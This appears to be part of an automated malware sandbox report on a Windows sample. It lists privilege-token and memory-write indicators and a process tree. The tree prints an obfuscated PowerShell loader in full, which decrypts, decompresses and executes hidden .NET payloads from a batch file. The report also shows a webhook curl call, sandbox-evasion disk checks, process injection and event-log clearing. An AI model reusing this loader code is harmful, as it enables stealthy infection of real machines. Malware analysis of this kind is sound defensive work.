1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1280	powershell.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1476	powershell.exe
Token: SeDebugPrivilege	1540	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2012	svchost.exe
Token: SeIncreaseQuotaPrivilege	2012	svchost.exe
Token: SeSecurityPrivilege	2012	svchost.exe
Token: SeTakeOwnershipPrivilege	2012	svchost.exe
Token: SeLoadDriverPrivilege	2012	svchost.exe
Token: SeSystemtimePrivilege	2012	svchost.exe
Token: SeBackupPrivilege	2012	svchost.exe
Token: SeRestorePrivilege	2012	svchost.exe
Token: SeShutdownPrivilege	2012	svchost.exe
Token: SeSystemEnvironmentPrivilege	2012	svchost.exe
Token: SeUndockPrivilege	2012	svchost.exe
Token: SeManageVolumePrivilege	2012	svchost.exe
Token: SeShutdownPrivilege	3472	Explorer.EXE
Token: SeCreatePagefilePrivilege	3472	Explorer.EXE
Token: SeDebugPrivilege	1280	powershell.exe
Token: SeShutdownPrivilege	3472	Explorer.EXE
Token: SeCreatePagefilePrivilege	3472	Explorer.EXE
Token: SeShutdownPrivilege	3472	Explorer.EXE
Token: SeCreatePagefilePrivilege	3472	Explorer.EXE
Token: SeDebugPrivilege	4968	dllhost.exe
Token: SeShutdownPrivilege	3472	Explorer.EXE
Token: SeCreatePagefilePrivilege	3472	Explorer.EXE
Token: SeShutdownPrivilege	3472	Explorer.EXE
Token: SeCreatePagefilePrivilege	3472	Explorer.EXE
Token: SeShutdownPrivilege	3472	Explorer.EXE
Token: SeCreatePagefilePrivilege	3472	Explorer.EXE
Token: SeShutdownPrivilege	3472	Explorer.EXE
Token: SeCreatePagefilePrivilege	3472	Explorer.EXE
Token: SeShutdownPrivilege	3472	Explorer.EXE
Token: SeCreatePagefilePrivilege	3472	Explorer.EXE
Token: SeShutdownPrivilege	3472	Explorer.EXE
Token: SeCreatePagefilePrivilege	3472	Explorer.EXE
Token: SeAssignPrimaryTokenPrivilege	2012	svchost.exe
Token: SeIncreaseQuotaPrivilege	2012	svchost.exe
Token: SeSecurityPrivilege	2012	svchost.exe
Token: SeTakeOwnershipPrivilege	2012	svchost.exe
Token: SeLoadDriverPrivilege	2012	svchost.exe
Token: SeSystemtimePrivilege	2012	svchost.exe
Token: SeBackupPrivilege	2012	svchost.exe
Token: SeRestorePrivilege	2012	svchost.exe
Token: SeShutdownPrivilege	2012	svchost.exe
Token: SeSystemEnvironmentPrivilege	2012	svchost.exe
Token: SeUndockPrivilege	2012	svchost.exe
Token: SeManageVolumePrivilege	2012	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2012	svchost.exe
Token: SeIncreaseQuotaPrivilege	2012	svchost.exe
Token: SeSecurityPrivilege	2012	svchost.exe
Token: SeTakeOwnershipPrivilege	2012	svchost.exe
Token: SeLoadDriverPrivilege	2012	svchost.exe
Token: SeSystemtimePrivilege	2012	svchost.exe
Token: SeBackupPrivilege	2012	svchost.exe
Token: SeRestorePrivilege	2012	svchost.exe
Token: SeShutdownPrivilege	2012	svchost.exe
Token: SeSystemEnvironmentPrivilege	2012	svchost.exe
Token: SeUndockPrivilege	2012	svchost.exe
Token: SeManageVolumePrivilege	2012	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2012	svchost.exe
Token: SeIncreaseQuotaPrivilege	2012	svchost.exe
Token: SeSecurityPrivilege	2012	svchost.exe
Token: SeTakeOwnershipPrivilege	2012	svchost.exe
Token: SeLoadDriverPrivilege	2012	svchost.exe
Token: SeSystemtimePrivilege	2012	svchost.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
3472	Explorer.EXE
3472	Explorer.EXE
3472	Explorer.EXE
3472	Explorer.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1280	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3756 wrote to memory of 3872	3756	cmd.exe	84
PID 3756 wrote to memory of 3872	3756	cmd.exe	84
PID 3756 wrote to memory of 4220	3756	cmd.exe	85
PID 3756 wrote to memory of 4220	3756	cmd.exe	85
PID 3756 wrote to memory of 4248	3756	cmd.exe	86
PID 3756 wrote to memory of 4248	3756	cmd.exe	86
PID 3756 wrote to memory of 208	3756	cmd.exe	87
PID 3756 wrote to memory of 208	3756	cmd.exe	87
PID 3756 wrote to memory of 1476	3756	cmd.exe	88
PID 3756 wrote to memory of 1476	3756	cmd.exe	88
PID 1476 wrote to memory of 1540	1476	powershell.exe	89
PID 1476 wrote to memory of 1540	1476	powershell.exe	89
PID 1476 wrote to memory of 1540	1476	powershell.exe	89
PID 1476 wrote to memory of 1540	1476	powershell.exe	89
PID 1476 wrote to memory of 1540	1476	powershell.exe	89
PID 1476 wrote to memory of 1540	1476	powershell.exe	89
PID 1476 wrote to memory of 1540	1476	powershell.exe	89
PID 1476 wrote to memory of 1540	1476	powershell.exe	89
PID 1540 wrote to memory of 612	1540	dllhost.exe	5
PID 1540 wrote to memory of 668	1540	dllhost.exe	7
PID 1540 wrote to memory of 944	1540	dllhost.exe	12
PID 1540 wrote to memory of 64	1540	dllhost.exe	13
PID 1540 wrote to memory of 528	1540	dllhost.exe	14
PID 1540 wrote to memory of 724	1540	dllhost.exe	15
PID 1540 wrote to memory of 1100	1540	dllhost.exe	17
PID 1540 wrote to memory of 1124	1540	dllhost.exe	18
PID 1540 wrote to memory of 1136	1540	dllhost.exe	19
PID 1540 wrote to memory of 1168	1540	dllhost.exe	20
PID 1540 wrote to memory of 1188	1540	dllhost.exe	21
PID 1540 wrote to memory of 1332	1540	dllhost.exe	22
PID 1540 wrote to memory of 1348	1540	dllhost.exe	23
PID 1540 wrote to memory of 1376	1540	dllhost.exe	24
PID 1540 wrote to memory of 1432	1540	dllhost.exe	25
PID 1540 wrote to memory of 1588	1540	dllhost.exe	26
PID 1540 wrote to memory of 1600	1540	dllhost.exe	27
PID 1540 wrote to memory of 1640	1540	dllhost.exe	28
PID 1540 wrote to memory of 1708	1540	dllhost.exe	29
PID 1540 wrote to memory of 1744	1540	dllhost.exe	30
PID 1540 wrote to memory of 1788	1540	dllhost.exe	31
PID 1540 wrote to memory of 1864	1540	dllhost.exe	32
PID 1540 wrote to memory of 2012	1540	dllhost.exe	33
PID 1540 wrote to memory of 2024	1540	dllhost.exe	34
PID 1540 wrote to memory of 2036	1540	dllhost.exe	35
PID 1540 wrote to memory of 1028	1540	dllhost.exe	36
PID 1540 wrote to memory of 1908	1540	dllhost.exe	37
PID 1540 wrote to memory of 2156	1540	dllhost.exe	38
PID 1540 wrote to memory of 2260	1540	dllhost.exe	40
PID 1540 wrote to memory of 2320	1540	dllhost.exe	41
PID 1540 wrote to memory of 2488	1540	dllhost.exe	42
PID 1540 wrote to memory of 2496	1540	dllhost.exe	43
PID 1540 wrote to memory of 2636	1540	dllhost.exe	44
PID 1540 wrote to memory of 2664	1540	dllhost.exe	45
PID 1540 wrote to memory of 2696	1540	dllhost.exe	46
PID 1540 wrote to memory of 2712	1540	dllhost.exe	47
PID 1540 wrote to memory of 2772	1540	dllhost.exe	48
PID 1540 wrote to memory of 2904	1540	dllhost.exe	50
PID 1540 wrote to memory of 3048	1540	dllhost.exe	51
PID 1540 wrote to memory of 2624	1540	dllhost.exe	52
PID 1540 wrote to memory of 3100	1540	dllhost.exe	53
PID 1540 wrote to memory of 3244	1540	dllhost.exe	54
PID 1540 wrote to memory of 3388	1540	dllhost.exe	55
PID 1540 wrote to memory of 3472	1540	dllhost.exe	56
PID 1540 wrote to memory of 3588	1540	dllhost.exe	57
PID 1540 wrote to memory of 3792	1540	dllhost.exe	58

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:64
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{d315ba6c-55a4-48fc-84d7-c783f18c43cf}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1540
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{91f28d64-41b6-4a2c-9a19-235819c4a353}
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4968

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Drops file in System32 directory
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:528

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1100
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3100

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1168

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1376
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1588

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1600

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1744

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1788

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2036

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1908

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2156

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2260

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2636

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2664

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2772

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3388

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\hi.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3756
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4184
- - C:\Windows\system32\curl.exe
    curl -X POST -H "Content-type: application/json" --data "{\"content\": \"Hello World\"}" https://example.com/webhook
    3⤵
    PID:3872
- - C:\Windows\system32\fsutil.exe
    fsutil fsinfo drives
    3⤵
    PID:4220
- - C:\Windows\system32\findstr.exe
    findstr /i /c:"WDS100T2B0A" /c:"DADY HARDDISK" /c:"QEMU HARDDISK"
    3⤵
    PID:4248
- - C:\Windows\system32\cmd.exe
    cmd.exe /c echo function FsWr($xGUa){ Invoke-Expression -Debug -Verbose -InformationAction Ignore '$gOXE=[QxSQxysQxtQxemQx.QxSQxeQxcQxurQxiQxtyQx.QxCQxryQxptQxoQxgQxrQxapQxhQxyQx.AQxeQxs]Qx::QxCQxrQxeQxaQxtQxe(Qx);'.Replace('Qx', ''); Invoke-Expression -Verbose '$gOXE.Mkkokkdekk=kk[Skkykkskktkkekkm.kkSkkeckkukkrkkitkky.kkCkkrkkykkptkkokkgkkrakkpkkhykk.CkkikkpkkhkkekkrkkMokkdkke]kk:kk:kkCkkBkkCkk;'.Replace('kk', ''); Invoke-Expression -Debug -WarningAction Inquire '$gOXE.Ptfatfddtfitfngtf=tf[tfStfytfsttfetfm.tfStfetfcutfritfttfytf.tfCrtfytfptftotfgtfratfphtfytf.tfPtfatfdtfditfntfgMtfotfdtfetf]tf:tf:tfPKtfCStf7;'.Replace('tf', ''); Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire -Verbose '$gOXE.KmGemGy=mG[mGSymGsmGtmGemGmmG.CmGomGnvmGemGrmGt]mG::mGFmGrmGomGmBmGamGsmGe6mG4mGStmGrimGnmGg("VmGbmGv6mG2mGUzmGUmGLmGRmGsmGbrmGEmG/VmG1mGEmG4amGfOmGTmGOmGomGTXmGrmGcmGtfmGymGn0mG4CmGFmG7mGQmG9mGBmGTYmG=");'.Replace('mG', ''); Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire -Verbose '$gOXE.IqfVqf=[qfSqfysqftqfeqfmqf.qfCoqfnqfveqfrqftqf]:qf:FqfrqfoqfmqfBaqfsqfeqf64qfSqftrqfinqfgqf("RqfQqfFSqfgqfPSqf3qfSqfJqfyqfvaqfCqfmiqfSqfPqfZZqfHgqf=qf=qf");'.Replace('qf', ''); $NVYr=$gOXE.CreateDecryptor(); $UBWD=$NVYr.TransformFinalBlock($xGUa, 0, $xGUa.Length); $NVYr.Dispose(); $gOXE.Dispose(); $UBWD;}function Yaio($xGUa){ Invoke-Expression -WarningAction Inquire -Debug -Verbose '$IYhN=NDneDnw-DnODnbjDneDncDntDn DnSyDnsDnteDnmDn.DnIODn.MDneDnmDnoDnryDnSDntDnreDnaDnm(,$xGUa);'.Replace('Dn', ''); Invoke-Expression -WarningAction Inquire -Verbose -InformationAction Ignore '$Uihs=NDneDnw-DnODnbjDneDncDntDn DnSyDnsDnteDnmDn.DnIODn.MDneDnmDnoDnryDnSDntDnreDnaDnm;'.Replace('Dn', ''); Invoke-Expression -WarningAction Inquire -Debug -InformationAction Ignore '$LgWg=NrWerWw-rWOrWbjrWerWcrWtrW rWSyrWsrWterWmrW.rWIOrW.CrWorWmrWprWrerWsrWsrWiorWnrW.GrWZirWprWSrWtrWrrWerWamrW($IYhN, [rWIrWO.rWCrWomrWprWrrWerWsrWsirWorWn.rWCrWorWmprWrerWsrWsrWirWonrWMrWorWderW]rW::rWDerWcrWorWmrWprWrrWesrWs);'.Replace('rW', ''); $LgWg.CopyTo($Uihs); $LgWg.Dispose(); $IYhN.Dispose(); $Uihs.Dispose(); $Uihs.ToArray();}function Grlp($xGUa,$CaYk){ Invoke-Expression -Debug -Verbose -InformationAction Ignore '$vavo=[BwSBwysBwtBwemBw.BwRBweBwfBwleBwcBwtiBwoBwnBw.ABwssBweBwmBwbBwlyBw]Bw:Bw:LBwoBwadBw([byte[]]$xGUa);'.Replace('Bw', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Debug '$ZxPG=$vavo.EbnnbntrbnybnPobnibnnbnt;'.Replace('bn', ''); Invoke-Expression -WarningAction Inquire -Verbose -InformationAction Ignore -Debug '$ZxPG.PVIPVnvPVoPVkePV(PV$PVnPVuPVllPV, $CaYk);'.Replace('PV', '');}$dqke = 'C:\Users\Admin\AppData\Local\Temp\hi.bat';$host.UI.RawUI.WindowTitle = $dqke;$GSXe=[System.IO.File]::ReadAllText($dqke).Split([Environment]::NewLine);foreach ($iKVq in $GSXe) { if ($iKVq.StartsWith('jOngn')) { $dnev=$iKVq.Substring(5); break; }}$JfeN=[string[]]$dnev.Split('\');Invoke-Expression -Verbose -Debug -InformationAction Ignore '$ait = Yaio (FsWr ([PcCPconPcvPcerPctPc]Pc:Pc:PcFrPcoPcmBPcaPcsPce6Pc4SPctPcrPciPcngPc($JfeN[0].Replace("#", "/").Replace("@", "A"))));'.Replace('Pc', '');Invoke-Expression -InformationAction Ignore '$fiw = Yaio (FsWr ([PcCPconPcvPcerPctPc]Pc:Pc:PcFrPcoPcmBPcaPcsPce6Pc4SPctPcrPciPcngPc($JfeN[1].Replace("#", "/").Replace("@", "A"))));'.Replace('Pc', '');Invoke-Expression -Debug -InformationAction Ignore '$kyK = Yaio (FsWr ([PcCPconPcvPcerPctPc]Pc:Pc:PcFrPcoPcmBPcaPcsPce6Pc4SPctPcrPciPcngPc($JfeN[2].Replace("#", "/").Replace("@", "A"))));'.Replace('Pc', '');Grlp $ait $null;Grlp $fiw $null;Grlp $kyK (,[string[]] (''));
    3⤵
    PID:208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1476
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C type C:\Users\Admin\AppData\Local\Temp\hi.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat
      4⤵
      Drops file in Windows directory
      PID:2196
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:732
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "
      4⤵
      PID:4452
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3412
    - - C:\Windows\system32\curl.exe
        
        curl -X POST -H "Content-type: application/json" --data "{\"content\": \"Hello World\"}" https://example.com/webhook
        5⤵
        
        PID:3068
    - - C:\Windows\system32\fsutil.exe
        
        fsutil fsinfo drives
        5⤵
        
        PID:3968
    - - C:\Windows\system32\findstr.exe
        
        findstr /i /c:"WDS100T2B0A" /c:"DADY HARDDISK" /c:"QEMU HARDDISK"
        5⤵
        
        PID:4388
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c echo function FsWr($xGUa){ Invoke-Expression -Debug -Verbose -InformationAction Ignore '$gOXE=[QxSQxysQxtQxemQx.QxSQxeQxcQxurQxiQxtyQx.QxCQxryQxptQxoQxgQxrQxapQxhQxyQx.AQxeQxs]Qx::QxCQxrQxeQxaQxtQxe(Qx);'.Replace('Qx', ''); Invoke-Expression -Verbose '$gOXE.Mkkokkdekk=kk[Skkykkskktkkekkm.kkSkkeckkukkrkkitkky.kkCkkrkkykkptkkokkgkkrakkpkkhykk.CkkikkpkkhkkekkrkkMokkdkke]kk:kk:kkCkkBkkCkk;'.Replace('kk', ''); Invoke-Expression -Debug -WarningAction Inquire '$gOXE.Ptfatfddtfitfngtf=tf[tfStfytfsttfetfm.tfStfetfcutfritfttfytf.tfCrtfytfptftotfgtfratfphtfytf.tfPtfatfdtfditfntfgMtfotfdtfetf]tf:tf:tfPKtfCStf7;'.Replace('tf', ''); Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire -Verbose '$gOXE.KmGemGy=mG[mGSymGsmGtmGemGmmG.CmGomGnvmGemGrmGt]mG::mGFmGrmGomGmBmGamGsmGe6mG4mGStmGrimGnmGg("VmGbmGv6mG2mGUzmGUmGLmGRmGsmGbrmGEmG/VmG1mGEmG4amGfOmGTmGOmGomGTXmGrmGcmGtfmGymGn0mG4CmGFmG7mGQmG9mGBmGTYmG=");'.Replace('mG', ''); Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire -Verbose '$gOXE.IqfVqf=[qfSqfysqftqfeqfmqf.qfCoqfnqfveqfrqftqf]:qf:FqfrqfoqfmqfBaqfsqfeqf64qfSqftrqfinqfgqf("RqfQqfFSqfgqfPSqf3qfSqfJqfyqfvaqfCqfmiqfSqfPqfZZqfHgqf=qf=qf");'.Replace('qf', ''); $NVYr=$gOXE.CreateDecryptor(); $UBWD=$NVYr.TransformFinalBlock($xGUa, 0, $xGUa.Length); $NVYr.Dispose(); $gOXE.Dispose(); $UBWD;}function Yaio($xGUa){ Invoke-Expression -WarningAction Inquire -Debug -Verbose '$IYhN=NDneDnw-DnODnbjDneDncDntDn DnSyDnsDnteDnmDn.DnIODn.MDneDnmDnoDnryDnSDntDnreDnaDnm(,$xGUa);'.Replace('Dn', ''); Invoke-Expression -WarningAction Inquire -Verbose -InformationAction Ignore '$Uihs=NDneDnw-DnODnbjDneDncDntDn DnSyDnsDnteDnmDn.DnIODn.MDneDnmDnoDnryDnSDntDnreDnaDnm;'.Replace('Dn', ''); Invoke-Expression -WarningAction Inquire -Debug -InformationAction Ignore '$LgWg=NrWerWw-rWOrWbjrWerWcrWtrW rWSyrWsrWterWmrW.rWIOrW.CrWorWmrWprWrerWsrWsrWiorWnrW.GrWZirWprWSrWtrWrrWerWamrW($IYhN, [rWIrWO.rWCrWomrWprWrrWerWsrWsirWorWn.rWCrWorWmprWrerWsrWsrWirWonrWMrWorWderW]rW::rWDerWcrWorWmrWprWrrWesrWs);'.Replace('rW', ''); $LgWg.CopyTo($Uihs); $LgWg.Dispose(); $IYhN.Dispose(); $Uihs.Dispose(); $Uihs.ToArray();}function Grlp($xGUa,$CaYk){ Invoke-Expression -Debug -Verbose -InformationAction Ignore '$vavo=[BwSBwysBwtBwemBw.BwRBweBwfBwleBwcBwtiBwoBwnBw.ABwssBweBwmBwbBwlyBw]Bw:Bw:LBwoBwadBw([byte[]]$xGUa);'.Replace('Bw', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Debug '$ZxPG=$vavo.EbnnbntrbnybnPobnibnnbnt;'.Replace('bn', ''); Invoke-Expression -WarningAction Inquire -Verbose -InformationAction Ignore -Debug '$ZxPG.PVIPVnvPVoPVkePV(PV$PVnPVuPVllPV, $CaYk);'.Replace('PV', '');}$dqke = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $dqke;$GSXe=[System.IO.File]::ReadAllText($dqke).Split([Environment]::NewLine);foreach ($iKVq in $GSXe) { if ($iKVq.StartsWith('jOngn')) { $dnev=$iKVq.Substring(5); break; }}$JfeN=[string[]]$dnev.Split('\');Invoke-Expression -Verbose -Debug -InformationAction Ignore '$ait = Yaio (FsWr ([PcCPconPcvPcerPctPc]Pc:Pc:PcFrPcoPcmBPcaPcsPce6Pc4SPctPcrPciPcngPc($JfeN[0].Replace("#", "/").Replace("@", "A"))));'.Replace('Pc', '');Invoke-Expression -InformationAction Ignore '$fiw = Yaio (FsWr ([PcCPconPcvPcerPctPc]Pc:Pc:PcFrPcoPcmBPcaPcsPce6Pc4SPctPcrPciPcngPc($JfeN[1].Replace("#", "/").Replace("@", "A"))));'.Replace('Pc', '');Invoke-Expression -Debug -InformationAction Ignore '$kyK = Yaio (FsWr ([PcCPconPcvPcerPctPc]Pc:Pc:PcFrPcoPcmBPcaPcsPce6Pc4SPctPcrPciPcngPc($JfeN[2].Replace("#", "/").Replace("@", "A"))));'.Replace('Pc', '');Grlp $ait $null;Grlp $fiw $null;Grlp $kyK (,[string[]] (''));
        5⤵
        
        PID:1212
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -WindowStyle Hidden
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:1280
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F
        6⤵
        
        PID:3236
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:1920
- C:\Windows\$nya-onimai2\wHesLT.exe
  "C:\Windows\$nya-onimai2\wHesLT.exe"
  2⤵
  - Executes dropped EXE
  PID:776
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4792
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 776 -s 244
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:5016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3588

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3792

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3956

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:5020

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:5108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1620

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:1624

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4124

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3992

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1388

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4428

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3744

